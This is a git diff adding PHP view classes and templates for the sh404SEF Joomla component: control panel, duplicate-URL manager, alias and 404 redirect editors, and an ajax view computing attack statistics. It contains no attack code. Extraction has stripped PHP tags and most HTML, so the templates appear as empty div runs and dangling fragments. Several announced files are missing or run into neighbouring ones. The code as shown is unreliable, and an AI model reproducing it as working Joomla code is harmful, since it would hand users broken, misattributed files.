ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_CONTROL_PANEL'), 'sh404sef-toolbar-title'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + + $html = '
    '; + $bar->appendButton('custom', $html, 'sh-progress-button-cpprogress'); + + // add analytics and other ajax calls loader + $sefConfig = Sh404sefFactory::getConfig(); + $analyticsBootstrap = $sefConfig->analyticsReportsEnabled ? 'shSetupAnalytics({report:"dashboard",showFilters:"no"});' : ''; + $js = 'jQuery(document).ready(function(){ ' . $analyticsBootstrap . ' shSetupQuickControl(); shSetupSecStats(); shSetupUpdates();});'; + $document = JFactory::getDocument(); + $document->addScriptDeclaration($js); + } + else + { + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'index.php?option=com_sh404sef\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + // import tabs + jimport('joomla.html.pane'); + + // add tooltips handler + JHTML::_('behavior.tooltip'); + + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_CONTROL_PANEL'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // add a div to display our ajax-call-in-progress indicator + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $html = '
    '; + $bar->appendButton('custom', $html, 'sh-progress-button-cpprogress'); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + + // add analytics and other ajax calls loader + $sefConfig = Sh404sefFactory::getConfig(); + $analyticsBootstrap = $sefConfig->analyticsReportsEnabled ? 'shSetupAnalytics({report:"dashboard",showFilters:"no"});' : ''; + $js = 'window.addEvent(\'domready\', function(){ ' . $analyticsBootstrap + . ' shSetupQuickControl(); shSetupSecStats(); shSetupUpdates();});'; + $document = JFactory::getDocument(); + $document->addScriptDeclaration($js); + } + + // add our javascript + JHTML::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/' . $this->joomlaVersionPrefix . '_cp.' . Sh404sefConfigurationEdition::$id . '.js'); + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_cp.css'); + } + + /** + * Attach css, js and create toolbar for Info view + * + * @param midxed $params + */ + private function _makeViewInfo($params = null) + { + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // decide on help file language + $languageCode = Sh404sefHelperLanguage::getFamily(); + $basePath = JPATH_ROOT . '/administrator/components/com_sh404sef/language/%s.readme.php'; + // fall back to english if language readme does not exist + jimport('joomla.filesystem.file'); + if (!JFile::exists(sprintf($basePath, $languageCode))) + { + $languageCode = 'en'; + } + $this->readmeFilename = sprintf($basePath, $languageCode); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // render submenu sidebar + $this->sidebar = JHtmlSidebar::render(); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + JToolbarHelper::title(JText::_('COM_SH404SEF_TITLE_SUPPORT'), 'sh404sef-toolbar-title'); + } + else + { + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_TITLE_SUPPORT'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + } + } + + private function _prepareControlPanelData() + { + $sefConfig = Sh404sefFactory::getConfig(); + $this->sefConfig = $sefConfig; + + // update information + $versionsInfo = Sh404sefHelperUpdates::getUpdatesInfos(); + $this->updates = $versionsInfo; + + // url databases stats + $database = ShlDbHelper::getDb(); + try + { + $sql = 'SELECT count(*) FROM #__sh404sef_urls WHERE '; + $database->setQuery($sql . "`dateadd` > '0000-00-00' and `newurl` = '' "); // 404 + $count404 = $database->loadResult(); + $database->setQuery($sql . "`dateadd` > '0000-00-00' and `newurl` != '' "); // custom + $customCount = $database->loadResult(); + $database->setQuery($sql . "`dateadd` = '0000-00-00'"); // regular + $sefCount = $database->loadResult(); + // calculate security stats + $default = empty($sefConfig->shSecLastUpdated) ? '- -' : '0'; + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $sefCount = 0; + $count404 = 0; + $customCount = 0; + } + + $this->sefCount = $sefCount; + $this->Count404 = $count404; + $this->customCount = $customCount; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.php new file mode 100644 index 00000000..e7947608 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.php @@ -0,0 +1,17 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + $layout = JRequest::getCmd('layout', 'default'); + switch ($layout) + { + case 'secstats': + $this->_doSecStats($tpl); + break; + case 'updates': + $this->_doUpdates($tpl); + break; + default: + $this->_doDefault($tpl); + break; + } + } + + private function _doDefault($tpl) + { + // declare docoument mime type + $document = JFactory::getDocument(); + $document->setMimeEncoding('text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse($this); + + // echo it + echo $response; + } + + private function _doSecStats($tpl) + { + // get configuration object + $sefConfig = &Sh404sefFactory::getConfig(); + + // push it into to the view + $this->sefConfig = $sefConfig; + + // push security stats into view + $this->_prepareSecStatsData(); + + // push any message + $error = $this->getError(); + if (empty($error)) + { + $noMsg = JRequest::getInt('noMsg', 0); + if (empty($noMsg)) + { + $this->message = JText::_('COM_SH404SEF_ELEMENT_SAVED'); + } + } + + parent::display($this->joomlaVersionPrefix); + } + + private function _prepareSecStatsData() + { + $sefConfig = Sh404sefFactory::getConfig(); + + // calculate security stats + $default = empty($sefConfig->shSecLastUpdated) ? '- -' : '0'; + $shSecStats['curMonth'] = empty($sefConfig->shSecCurMonth) ? $default : $sefConfig->shSecCurMonth; + if (empty($sefConfig->shSecLastUpdated)) + { + $shSecStats['lastUpdated'] = $default; + } + else + { + $shSecStats['lastUpdated'] = date('Y-m-d H:i:s', $sefConfig->shSecLastUpdated); + } + $monthStart = mktime(0, 0, 0, empty($sefConfig->shSecLastUpdated) ? 0 : intval(date('m', $sefConfig->shSecLastUpdated)), 1, + empty($sefConfig->shSecLastUpdated) ? 0 : intval(date('Y', $sefConfig->shSecLastUpdated))); + $hours = $sefConfig->shSecLastUpdated == $monthStart ? 0.0001 : ($sefConfig->shSecLastUpdated - $monthStart) / 3600; + $shSecStats['totalAttacks'] = empty($sefConfig->shSecTotalAttacks) ? $default : $sefConfig->shSecTotalAttacks; + $shSecStats['totalAttacksHrs'] = $shSecStats['totalAttacks'] / $hours; + $shSecStats['totalConfigVars'] = empty($sefConfig->shSecTotalConfigVars) ? $default : $sefConfig->shSecTotalConfigVars; + $shSecStats['totalConfigVarsHrs'] = $shSecStats['totalConfigVars'] / $hours; + $shSecStats['totalBase64'] = empty($sefConfig->shSecTotalBase64) ? $default : $sefConfig->shSecTotalBase64; + $shSecStats['totalBase64Hrs'] = $shSecStats['totalBase64'] / $hours; + $shSecStats['totalScripts'] = empty($sefConfig->shSecTotalScripts) ? $default : $sefConfig->shSecTotalScripts; + $shSecStats['totalScriptsHrs'] = $shSecStats['totalScripts'] / $hours; + $shSecStats['totalStandardVars'] = empty($sefConfig->shSecTotalStandardVars) ? $default : $sefConfig->shSecTotalStandardVars; + $shSecStats['totalStandardVarsHrs'] = $shSecStats['totalStandardVars'] / $hours; + $shSecStats['totalImgTxtCmd'] = empty($sefConfig->shSecTotalImgTxtCmd) ? $default : $sefConfig->shSecTotalImgTxtCmd; + $shSecStats['totalImgTxtCmdHrs'] = $shSecStats['totalImgTxtCmd'] / $hours; + $shSecStats['totalIPDenied'] = empty($sefConfig->shSecTotalIPDenied) ? $default : $sefConfig->shSecTotalIPDenied; + $shSecStats['totalIPDeniedHrs'] = $shSecStats['totalIPDenied'] / $hours; + $shSecStats['totalUserAgentDenied'] = empty($sefConfig->shSecTotalUserAgentDenied) ? $default : $sefConfig->shSecTotalUserAgentDenied; + $shSecStats['totalUserAgentDeniedHrs'] = $shSecStats['totalUserAgentDenied'] / $hours; + $shSecStats['totalFlooding'] = empty($sefConfig->shSecTotalFlooding) ? $default : $sefConfig->shSecTotalFlooding; + $shSecStats['totalFloodingHrs'] = $shSecStats['totalFlooding'] / $hours; + $shSecStats['totalPHP'] = empty($sefConfig->shSecTotalPHP) ? $default : $sefConfig->shSecTotalPHP; + $shSecStats['totalPHPHrs'] = $shSecStats['totalPHP'] / $hours; + $shSecStats['totalPHPUserClicked'] = empty($sefConfig->shSecTotalPHPUserClicked) ? $default : $sefConfig->shSecTotalPHPUserClicked; + $shSecStats['totalPHPUserClickedHrs'] = $shSecStats['totalPHPUserClicked'] / $hours; + if (!empty($sefConfig->shSecTotalAttacks)) + { + $shSecStats['totalConfigVarsPct'] = round($sefConfig->shSecTotalConfigVars / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalBase64Pct'] = round($sefConfig->shSecTotalBase64 / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalScriptsPct'] = round($sefConfig->shSecTotalScripts / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalStandardVarsPct'] = round($sefConfig->shSecTotalStandardVars / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalImgTxtCmdPct'] = round($sefConfig->shSecTotalImgTxtCmd / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalIPDeniedPct'] = round($sefConfig->shSecTotalIPDenied / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalUserAgentDeniedPct'] = round($sefConfig->shSecTotalUserAgentDenied / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalFloodingPct'] = round($sefConfig->shSecTotalFlooding / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalPHPPct'] = round($sefConfig->shSecTotalPHP / $sefConfig->shSecTotalAttacks * 100, 1); + $shSecStats['totalPHPUserClickedPct'] = round($sefConfig->shSecTotalPHPUserClicked / $sefConfig->shSecTotalAttacks * 100, 1); + } + else + { + $shSecStats['totalConfigVarsPct'] = 0; + $shSecStats['totalBase64Pct'] = 0; + $shSecStats['totalScriptsPct'] = 0; + $shSecStats['totalStandardVarsPct'] = 0; + $shSecStats['totalImgTxtCmdPct'] = 0; + $shSecStats['totalIPDeniedPct'] = 0; + $shSecStats['totalUserAgentDeniedPct'] = 0; + $shSecStats['totalFloodingPct'] = 0; + $shSecStats['totalPHPPct'] = 0; + $shSecStats['totalPHPUserClickedPct'] = 0; + } + + $this->shSecStats = $shSecStats; + + } + + private function _doUpdates($tpl) + { + + // get configuration object + $sefConfig = &Sh404sefFactory::getConfig(); + + // push it into to the view + $this->sefConfig = $sefConfig; + + // do we force reading updates from server ? + $forced = JRequest::getInt('forced', 0); + $versionsInfo = Sh404sefHelperUpdates::getUpdatesInfos(!empty($forced)); + + // push security stats into view + $this->updates = $versionsInfo; + + // push any message + $error = $this->getError(); + if (empty($error)) + { + $noMsg = JRequest::getInt('noMsg', 0); + if (empty($noMsg)) + { + $this->message = JText::_('COM_SH404SEF_ELEMENT_SAVED'); + } + } + + parent::display($this->joomlaVersionPrefix); + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.full.php new file mode 100644 index 00000000..02830457 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.full.php @@ -0,0 +1,228 @@ + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + toolbar->render(); ?> + toolbarTitle; ?> +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    mainUrl) ? ' ' : '' . JText::_('COM_SH404SEF_DUPLICATES_OF') . ' ' . $this->escape( $this->mainUrl->oldurl); ?>
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + $mainUrl = Sh404sefHelperHtml::gridMainUrl($url, $i); + + ?> + "> + + + + + + + + + + + + + + + +
    + + + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + escape($url->pageid); + ?> + + + + escape( $url->newurl); ?> + + aliases) ? ' ' : $this->escape( $url->aliases); + ?> + + +
    + +
    + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.php @@ -0,0 +1,17 @@ + + + + + + + + + + +
    + : + + + + +   + + optionsSelect->components; ?> + + optionsSelect->languages; ?> + + optionsSelect->filter_url_type; ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.full.php new file mode 100644 index 00000000..00106aef --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.full.php @@ -0,0 +1,198 @@ + + +
    + +
    +
    +
    +escape( $this->mainUrl->oldurl); +echo empty( $this->mainUrl) ? ' ' : JText::_('COM_SH404SEF_DUPLICATES_OF') . ' ' . ShlHtmlBs_Helper::label(Sh404sefHelperHtml::abridge($title, 'editurl'), 'info', $dismiss = false, 'label-large'); +?> +
    + +
    + + + + +
    +
    +
    + +
    + +
    + +
    + +
    + +
    +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + echo '
    ' . $this->pagination->getListFooter() . '
    '; + ?> +
    +
    + +
    + +
    + +
    + +
    +
    + +
    + + itemCount > 0 ) { + + // fixed help text + echo ShlHtmlBs_Helper::alert(JText::_('COM_SH404SEF_DUPLICATE_HELP'), 'info', $dismiss = false, 'alert-centered'); + + // possible errors and success messages + echo ShlMvcLayout_Helper::render('com_sh404sef.general.message_block', $this); + + ?> + + + + + + + + + + + + + + + + + + + + + itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + $mainUrl = Sh404sefHelperHtml::gridMainUrl($url, $i); + + ?> + "> + + + + + + + + + + + +
      + + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + pageid, 'info'); + ?> + + + + escape( $url->newurl); ?> + + aliases) ? ' ' : ShlHtmlBs_Helper::badge($url->aliases, 'info'); + ?> + + +
    +
    ' . JText::_( 'COM_SH404SEF_NO_URL' ) . '
    '; + } + ?> + + +
    + + + + + + + + + + + +
    +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.php @@ -0,0 +1,17 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/refresh_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/refresh_j3.php new file mode 100644 index 00000000..0164e682 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/refresh_j3.php @@ -0,0 +1,17 @@ +refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.full.php new file mode 100644 index 00000000..2b4a9446 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.full.php @@ -0,0 +1,167 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // get model and update context with current + $model = $this->getModel(); + $context = $model->updateContext($this->_context . '.' . $this->getLayout()); + + // read data from model + $list = $model->getList((object) array('layout' => $this->getLayout(), 'simpleUrlList' => true)); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = count($this->items); + $this->pagination = $model->getPagination(); + $options = $model->getDisplayOptions(); + $this->options = $options; + $this->mainUrl = $model->getMainUrl(); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add display filters + $this->_addFilters(); + + // render submenu sidebar + $this->sidebar = JHtmlSidebar::render(); + } + else + { + // add confirmation phrase to toolbar + $this->toolbarTitle = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_DUPLICATE_MANAGER'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + + // build the toolbar + $this->_makeToolbarJ2(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_urls.css'); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + + $this->optionsSelect = $this->_makeOptionsSelect($options); + } + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbarJ2($params = null) + { + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add save button as an ajax call + $bar->appendButton('Standard', 'main', JText::_('COM_SH404SEF_DUPLICATES_MAKE_MAIN'), 'makemainurl', true, true); + + // other button are standards + $bar->appendButton('Standard', 'back', JText::_('COM_SH404SEF_BACK'), 'backPopup', false, false); + + // push in to the view + $this->toolbar = $bar; + + return $bar; + } + + private function _makeOptionsSelect($options) + { + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // select aliases + $current = $options->filter_alias; + $name = 'filter_alias'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_ALIASES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_ALIASES')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_NO_ALIASES'))); + $selects->filter_alias = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select custom + $current = $options->filter_url_type; + $name = 'filter_url_type'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_URL_TYPES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'title' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'title' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + $selects->filter_url_type = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // return set of select lists + return $selects; + } + + private function _addFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + + // select custom + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'text' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'text' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_URL_TYPES'), 'filter_url_type', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_url_type, true)); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.php new file mode 100644 index 00000000..cb62a601 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.php @@ -0,0 +1,17 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/refresh.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/refresh.php new file mode 100644 index 00000000..2cf45b9a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/refresh.php @@ -0,0 +1,18 @@ +document = JFactory::getDocument(); +$displayData->refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/view.raw.php new file mode 100644 index 00000000..c70b281d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2.php new file mode 100644 index 00000000..75a39a35 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2.php @@ -0,0 +1,140 @@ + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + toolbar->render(); ?> + toolbarTitle; ?> +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    ' . JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT_FOR') . ' ' . $this->escape( $this->url->get('oldurl')); ?>
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    +
    +
    +
    + +
    + +
    + + loadTemplate($this->joomlaVersionPrefix . '_redirect'); + ?> + + + + + + + + + + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2_redirect.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2_redirect.php new file mode 100644 index 00000000..de8d893e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2_redirect.php @@ -0,0 +1,33 @@ + + + + + + + + + +
    + + + + + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j3.php new file mode 100644 index 00000000..305027fd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j3.php @@ -0,0 +1,75 @@ + +
    + +
    +
    +
    +escape( Sh404sefHelperHtml::abridge($this->url->oldurl, 'editurl')), 'info', $dismiss = false, 'label-large'); + +echo JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT_FOR') . ' ' . $title; +?> +
    +
    + + +
    +
    +
    + +
    + + + +
    + +
    + + label = JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT_LABEL'); + $data->input = ''; + $data->tip = JText::_( 'COM_SH404SEF_TT_ENTER_REDIRECT'); + $data->name = "newurl"; + echo ShlMvcLayout_Helper::render('com_sh404sef.form.fields.custom', $data); + ?> + +
    + + + + + + + + + +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.html.php new file mode 100644 index 00000000..0abd52d5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.html.php @@ -0,0 +1,119 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // get model and update context with current + $model = $this->getModel(); + $context = $model->updateContext($this->_context . '.' . $this->getLayout()); + + // get url id + $notFoundUrlId = 